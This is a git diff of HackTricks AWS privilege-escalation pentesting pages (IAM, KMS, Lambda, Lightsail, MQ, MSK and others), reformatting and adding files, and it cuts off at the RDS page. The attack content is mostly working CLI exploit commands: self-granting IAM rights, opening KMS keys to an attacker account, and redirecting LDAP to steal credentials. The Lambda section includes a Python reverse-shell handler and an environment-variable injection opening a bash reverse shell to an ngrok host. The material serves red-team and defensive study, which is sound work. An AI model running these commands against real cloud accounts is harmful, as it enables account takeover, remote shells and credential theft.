+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
@@ -1,27 +1,14 @@
 # AWS - IAM Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## IAM
 
 For more info about IAM check:
 
-{% content-ref url="../aws-services/aws-iam-enum.md" %}
-[aws-iam-enum.md](../aws-services/aws-iam-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-services/aws-iam-enum.md
+{{#endref}}
 
 ### **`iam:CreatePolicyVersion`**
 
@@ -86,11 +73,9 @@ Allows enabling a disabled access key, potentially leading to unauthorized acces
 
 **Exploit:**
 
-{% code overflow="wrap" %}
 ```bash
 aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
 ```
-{% endcode %}
 
 **Impact:** Direct privilege escalation by reactivating access keys.
 
@@ -100,19 +85,15 @@ Enables generating or resetting credentials for specific AWS services (e.g., Cod
 
 **Exploit for Creation:**
 
-{% code overflow="wrap" %}
 ```bash
 aws iam create-service-specific-credential --user-name <username> --service-name <service>
 ```
-{% endcode %}
 
 **Exploit for Reset:**
 
-{% code overflow="wrap" %}
 ```bash
 aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
 ```
-{% endcode %}
 
 **Impact:** Direct privilege escalation within the user's service permissions.
 
@@ -161,18 +142,14 @@ You can use a policy like:
 
 ```json
 {
-    "Version": "2012-10-17",
-    "Statement": [
-        {
-            "Effect": "Allow",
-            "Action": [
-                "*"
-            ],
-            "Resource": [
-                "*"
-            ]
-        }
-    ]
+  "Version": "2012-10-17",
+  "Statement": [
+    {
+      "Effect": "Allow",
+      "Action": ["*"],
+      "Resource": ["*"]
+    }
+  ]
 }
 ```
 
@@ -184,11 +161,9 @@ Enables adding oneself to an IAM group, escalating privileges by inheriting the
 
 **Exploit:**
 
-{% code overflow="wrap" %}
 ```bash
 aws iam add-user-to-group --group-name <group_name> --user-name <username>
 ```
-{% endcode %}
 
 **Impact:** Direct privilege escalation to the level of the group's permissions.
 
@@ -207,16 +182,16 @@ Where the policy looks like the following, which gives the user permission to as
 
 ```json
 {
-    "Version": "2012-10-17",
-    "Statement": [
-        {
-            "Effect": "Allow",
-            "Action": "sts:AssumeRole",
-            "Principal": {
-                "AWS": "$USER_ARN"
-            }
-        }
-    ]
+  "Version": "2012-10-17",
+  "Statement": [
+    {
+      "Effect": "Allow",
+      "Action": "sts:AssumeRole",
+      "Principal": {
+        "AWS": "$USER_ARN"
+      }
+    }
+  ]
 }
 ```
 
@@ -275,15 +250,13 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
 aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
 ```
 
-{% hint style="info" %}
-TODO: A Tool capable of generating the SAML metadata and login with a specified role
-{% endhint %}
+> [!NOTE]
+> TODO: A Tool capable of generating the SAML metadata and login with a specified role
 
 ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
 
 (Unsure about this) If an attacker has these **permissions** he could add a new **Thumbprint** to manage to login in all the roles trusting the provider.
 
-{% code overflow="wrap" %}
 ```bash
 # List providers
 aws iam list-open-id-connect-providers
@@ -292,23 +265,9 @@ aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
 # Update Thumbprints (The thumbprint is always a 40-character string)
 aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
 ```
-{% endcode %}
 
 ## References
 
-* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
+- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
new file mode 100644
index 000000000..9003c400a
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
@@ -0,0 +1,122 @@
+# AWS - KMS Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## KMS
+
+For more info about KMS check:
+
+{{#ref}}
+../aws-services/aws-kms-enum.md
+{{#endref}}
+
+### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`)
+
+With these permissions it's possible to **modify the access permissions to the key** so it can be used by other accounts or even anyone:
+
+```bash
+aws kms list-keys
+aws kms list-key-policies --key-id <id> # Although only 1 max per key
+aws kms get-key-policy --key-id <id> --policy-name <policy_name>
+# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
+aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json
+```
+
+policy.json:
+
+```json
+{
+  "Version": "2012-10-17",
+  "Id": "key-consolepolicy-3",
+  "Statement": [
+    {
+      "Sid": "Enable IAM User Permissions",
+      "Effect": "Allow",
+      "Principal": {
+        "AWS": "arn:aws:iam::<origin_account>:root"
+      },
+      "Action": "kms:*",
+      "Resource": "*"
+    },
+    {
+      "Sid": "Allow all use",
+      "Effect": "Allow",
+      "Principal": {
+        "AWS": "arn:aws:iam::<attackers_account>:root"
+      },
+      "Action": ["kms:*"],
+      "Resource": "*"
+    }
+  ]
+}
+```
+
+### `kms:CreateGrant`
+
+It **allows a principal to use a KMS key:**
+
+```bash
+aws kms create-grant \
+    --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
+    --grantee-principal arn:aws:iam::123456789012:user/exampleUser \
+    --operations Decrypt
+```
+
+> [!WARNING]
+> A grant can only allow certain types of operations: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
+
+> [!WARNING]
+> Note that it might take a couple of minutes for KMS to **allow the user to use the key after the grant has been generated**. Once that time has passed, the principal can use the KMS key without needing to specify anything.\
+> However, if it's needed to use the grant right away [use a grant token](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (check the following code).\
+> For [**more info read this**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
+
+```bash
+# Use the grant token in a request
+aws kms generate-data-key \
+    --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
+    –-key-spec AES_256 \
+    --grant-tokens $token
+```
+
+Note that it's possible to list grant of keys with:
+
+```bash
+aws kms list-grants --key-id <value>
+```
+
+### `kms:CreateKey`, `kms:ReplicateKey`
+
+With these permissions it's possible to replicate a multi-region enabled KMS key in a different region with a different policy.
+
+So, an attacker could abuse this to obtain privesc his access to the key and use it
+
+```bash
+aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
+
+{
+    "Version": "2012-10-17",
+    "Id": "key-consolepolicy-3",
+    "Statement": [
+        {
+            "Sid": "Enable IAM User Permissions",
+            "Effect": "Allow",
+            "Principal": {
+                "AWS": "*"
+            },
+            "Action": "kms:*",
+            "Resource": "*"
+        }
+    ]
+}
+```
+
+### `kms:Decrypt`
+
+This permission allows to use a key to decrypt some information.\
+For more information check:
+
+{{#ref}}
+../aws-post-exploitation/aws-kms-post-exploitation.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
similarity index 77%
rename from pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
index 57b23ef34..bd1cd7d00 100644
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
@@ -1,27 +1,14 @@
 # AWS - Lambda Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## lambda
 
 More info about lambda in:
 
-{% content-ref url="../aws-services/aws-lambda-enum.md" %}
-[aws-lambda-enum.md](../aws-services/aws-lambda-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-services/aws-lambda-enum.md
+{{#endref}}
 
 ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
 
@@ -31,8 +18,7 @@ Once the function is set up, the user can **trigger its execution** and the inte
 
 A attacker could abuse this to get a **rev shell and steal the token**:
 
-{% code title="rev.py" %}
-```python
+```python:rev.py
 import socket,subprocess,os,time
 def lambda_handler(event, context):
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
@@ -44,7 +30,6 @@ def lambda_handler(event, context):
    time.sleep(900)
    return 0
 ```
-{% endcode %}
 
 ```bash
 # Zip the rev shell
@@ -95,9 +80,8 @@ cat output.txt
 
 **Potential Impact:** Direct privesc to the arbitrary lambda service role specified.
 
-{% hint style="danger" %}
-Note that even if it might looks interesting **`lambda:InvokeAsync`** **doesn't** allow on it's own to **execute `aws lambda invoke-async`**, you also need `lambda:InvokeFunction`
-{% endhint %}
+> [!CAUTION]
+> Note that even if it might looks interesting **`lambda:InvokeAsync`** **doesn't** allow on it's own to **execute `aws lambda invoke-async`**, you also need `lambda:InvokeFunction`
 
 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
 
@@ -156,7 +140,6 @@ aws dynamodb put-item --table-name my_table \
 
 An attacker with this permission can **grant himself (or others) any permissions** (this generates resource based policies to grant access to the resource):
 
-{% code overflow="wrap" %}
 ```bash
 # Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
 aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
@@ -164,7 +147,6 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
 # Invoke the function
 aws lambda invoke --function-name <func_name> /tmp/outout
 ```
-{% endcode %}
 
 **Potential Impact:** Direct privesc to the lambda service role used by granting permission to modify the code and run it.
 
@@ -172,12 +154,10 @@ aws lambda invoke --function-name <func_name> /tmp/outout
 
 An attacker with this permission can **grant himself (or others) the permission `lambda:GetLayerVersion`**. He could access the layer and search for vulnerabilities or sensitive information
 
-{% code overflow="wrap" %}
 ```bash
 # Give everyone the permission lambda:GetLayerVersion
 aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
 ```
-{% endcode %}
 
 **Potential Impact:** Potential access to sensitive information.
 
@@ -188,7 +168,6 @@ The attacker can **modify the code of the lambda to exfiltrate the IAM credentia
 
 Although the attacker might not have the direct ability to invoke the function, if the Lambda function is pre-existing and operational, it's probable that it will be triggered through existing workflows or events, thus indirectly facilitating the execution of the modified code.
 
-{% code overflow="wrap" %}
 ```bash
 # The zip should contain the lambda code (trick: Download the current one and add your code there)
 aws lambda update-function-code --function-name target_function \
@@ -199,7 +178,6 @@ aws lambda invoke --function-name my_function output.txt
 
 # If not check if it's exposed in any URL or via an API gateway you could access
 ```
-{% endcode %}
 
 **Potential Impact:** Direct privesc to the lambda service role used.
 
@@ -209,15 +187,15 @@ aws lambda invoke --function-name my_function output.txt
 
 With this permissions it's possible to add environment variables that will cause the Lambda to execute arbitrary code. For example in python it's possible to abuse the environment variables `PYTHONWARNING` and `BROWSER` to make a python process execute arbitrary commands:
 
-{% code overflow="wrap" %}
 ```bash
 aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
 ```
-{% endcode %}
 
 For other scripting languages there are other env variables you can use. For more info check the subsections of scripting languages in:
 
-{% embed url="https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse" %}
+{{#ref}}
+https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse
+{{#endref}}
 
 #### RCE via Lambda Layers
 
@@ -263,11 +241,9 @@ You can open `./lambda_layer/boto3/__init__.py` and **add the backdoor in the gl
 Then, zip that `./lambda_layer` directory and **upload the new lambda layer** in your own account (or in the victims one, but you might not have permissions for this).\
 Note that you need to create a python folder and put the libraries in there to override /opt/python/boto3. Also, the layer needs to be **compatible with the python version** used by the lambda and if you upload it to your account, it needs to be in the **same region:**
 
-{% code overflow="wrap" %}
 ```bash
 aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
 ```
-{% endcode %}
 
 Now, make the uploaded lambda layer **accessible by any account**:
 
@@ -290,9 +266,9 @@ The next step would be to either **invoke the function** ourselves if we can or
 
 A **more stealth way to exploit this vulnerability** can be found in:
 
-{% content-ref url="../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md" %}
-[aws-lambda-layers-persistence.md](../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
+{{#endref}}
 
 **Potential Impact:** Direct privesc to the lambda service role used.
 
@@ -304,26 +280,13 @@ Maybe with those permissions you are able to create a function and execute it ca
 
 Some lambdas are going to be **receiving sensitive info from the users in parameters.** If get RCE in one of them, you can exfiltrate the info other users are sending to it, check it in:
 
-{% content-ref url="../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md" %}
-[aws-warm-lambda-persistence.md](../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
+{{#endref}}
 
 ## References
 
-* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
-* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
+- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
+- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
similarity index 60%
rename from pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
index 95ec10757..7fc698f64 100644
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
@@ -1,31 +1,17 @@
 # AWS - Lightsail Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Lightsail
 
 For more information about Lightsail check:
 
-{% content-ref url="../aws-services/aws-lightsail-enum.md" %}
-[aws-lightsail-enum.md](../aws-services/aws-lightsail-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-services/aws-lightsail-enum.md
+{{#endref}}
 
-{% hint style="warning" %}
-It’s important to note that Lightsail **doesn’t use IAM roles belonging to the user** but to an AWS managed account, so you can’t abuse this service to privesc. However, **sensitive data** such as code, API keys and database info could be found in this service.
-{% endhint %}
+> [!WARNING]
+> It’s important to note that Lightsail **doesn’t use IAM roles belonging to the user** but to an AWS managed account, so you can’t abuse this service to privesc. However, **sensitive data** such as code, API keys and database info could be found in this service.
 
 ### `lightsail:DownloadDefaultKeyPair`
 
@@ -71,19 +57,15 @@ aws lightsail get-relational-database-master-user-password --relational-database
 
 This permission will allow you to change the password to access the database:
 
-{% code overflow="wrap" %}
 ```bash
 aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>
 ```
-{% endcode %}
 
 If the database isn't public, you could also make it public with this permissions with
 
-{% code overflow="wrap" %}
 ```bash
 aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible
 ```
-{% endcode %}
 
 **Potential Impact:** Find sensitive info inside the database.
 
@@ -115,14 +97,12 @@ aws lightsail put-instance-public-ports \
 
 This permissions allows to give an instances access to a bucket without any extra credentials
 
-{% code overflow="wrap" %}
 ```bash
 aws set-resource-access-for-bucket \
     --resource-name <instance-name> \
     --bucket-name <bucket-name> \
     --access allow
 ```
-{% endcode %}
 
 **Potential Impact:** Potential new access to buckets with sensitive information.
 
@@ -179,17 +159,4 @@ aws lightsail update-domain-entry \
 
 **Potential Impact:** Takeover a domain
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
new file mode 100644
index 000000000..5cf41b391
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
@@ -0,0 +1,25 @@
+# AWS - Mediapackage Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+### `mediapackage:RotateChannelCredentials`
+
+Changes the Channel's first IngestEndpoint's username and password. (This API is deprecated for RotateIngestEndpointCredentials)
+
+```bash
+aws mediapackage rotate-channel-credentials --id <value>
+```
+
+### `mediapackage:RotateIngestEndpointCredentials`
+
+Changes the Channel's first IngestEndpoint's username and password. (This API is deprecated for RotateIngestEndpointCredentials)
+
+```bash
+aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63
+```
+
+## References
+
+- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
new file mode 100644
index 000000000..29aefa731
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
@@ -0,0 +1,49 @@
+# AWS - MQ Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## MQ
+
+For more information about MQ check:
+
+{{#ref}}
+../aws-services/aws-mq-enum.md
+{{#endref}}
+
+### `mq:ListBrokers`, `mq:CreateUser`
+
+With those permissions you can **create a new user in an ActimeMQ broker** (this doesn't work in RabbitMQ):
+
+```bash
+aws mq list-brokers
+aws mq create-user --broker-id <value> --console-access --password <value> --username <value>
+```
+
+**Potential Impact:** Access sensitive info navigating through ActiveMQ
+
+### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser`
+
+With those permissions you can **create a new user in an ActimeMQ broker** (this doesn't work in RabbitMQ):
+
+```bash
+aws mq list-brokers
+aws mq list-users --broker-id <value>
+aws mq update-user --broker-id <value> --console-access --password <value> --username <value>
+```
+
+**Potential Impact:** Access sensitive info navigating through ActiveMQ
+
+### `mq:ListBrokers`, `mq:UpdateBroker`
+
+If a broker is using **LDAP** for authorization with **ActiveMQ**. It's possible to **change** the **configuration** of the LDAP server used to **one controlled by the attacker**. This way the attacker will be able to **steal all the credentials being sent through LDAP**.
+
+```bash
+aws mq list-brokers
+aws mq update-broker --broker-id <value> --ldap-server-metadata=...
+```
+
+If you could somehow find the original credentials used by ActiveMQ you could perform a MitM, steal the creds, used them in the original server, and send the response (maybe just reusing the crendetials stolen you could do this).
+
+**Potential Impact:** Steal ActiveMQ credentials
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
new file mode 100644
index 000000000..1ca4c4e60
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
@@ -0,0 +1,24 @@
+# AWS - MSK Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## MSK
+
+For more information about MSK (Kafka) check:
+
+{{#ref}}
+../aws-services/aws-msk-enum.md
+{{#endref}}
+
+### `msk:ListClusters`, `msk:UpdateSecurity`
+
+With these **privileges** and **access to the VPC where the kafka brokers are**, you could add the **None authentication** to access them.
+
+```bash
+aws msk --client-authentication <value> --cluster-arn <value> --current-version <value>
+```
+
+You need access to the VPC because **you cannot enable None authentication with Kafka publicly** exposed. If it's publicly exposed, if **SASL/SCRAM** authentication is used, you could **read the secret** to access (you will need additional privileges to read the secret).\
+If **IAM role-based authentication** is used and **kafka is publicly exposed** you could still abuse these privileges to give you permissions to access it.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
new file mode 100644
index 000000000..9da7808e3
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
@@ -0,0 +1,18 @@
+# AWS - Organizations Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Organizations
+
+For more information check:
+
+{{#ref}}
+../aws-services/aws-organizations-enum.md
+{{#endref}}
+
+## From management Account to children accounts
+
+If you compromise the root/management account, chances are you can compromise all the children accounts.\
+To [**learn how check this page**](../#compromising-the-organization).
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
similarity index 59%
rename from pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
index 081a74574..6e8d1b809 100644
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
@@ -1,27 +1,14 @@
 # AWS - RDS Privesc
 
-{% hint style="success" %}
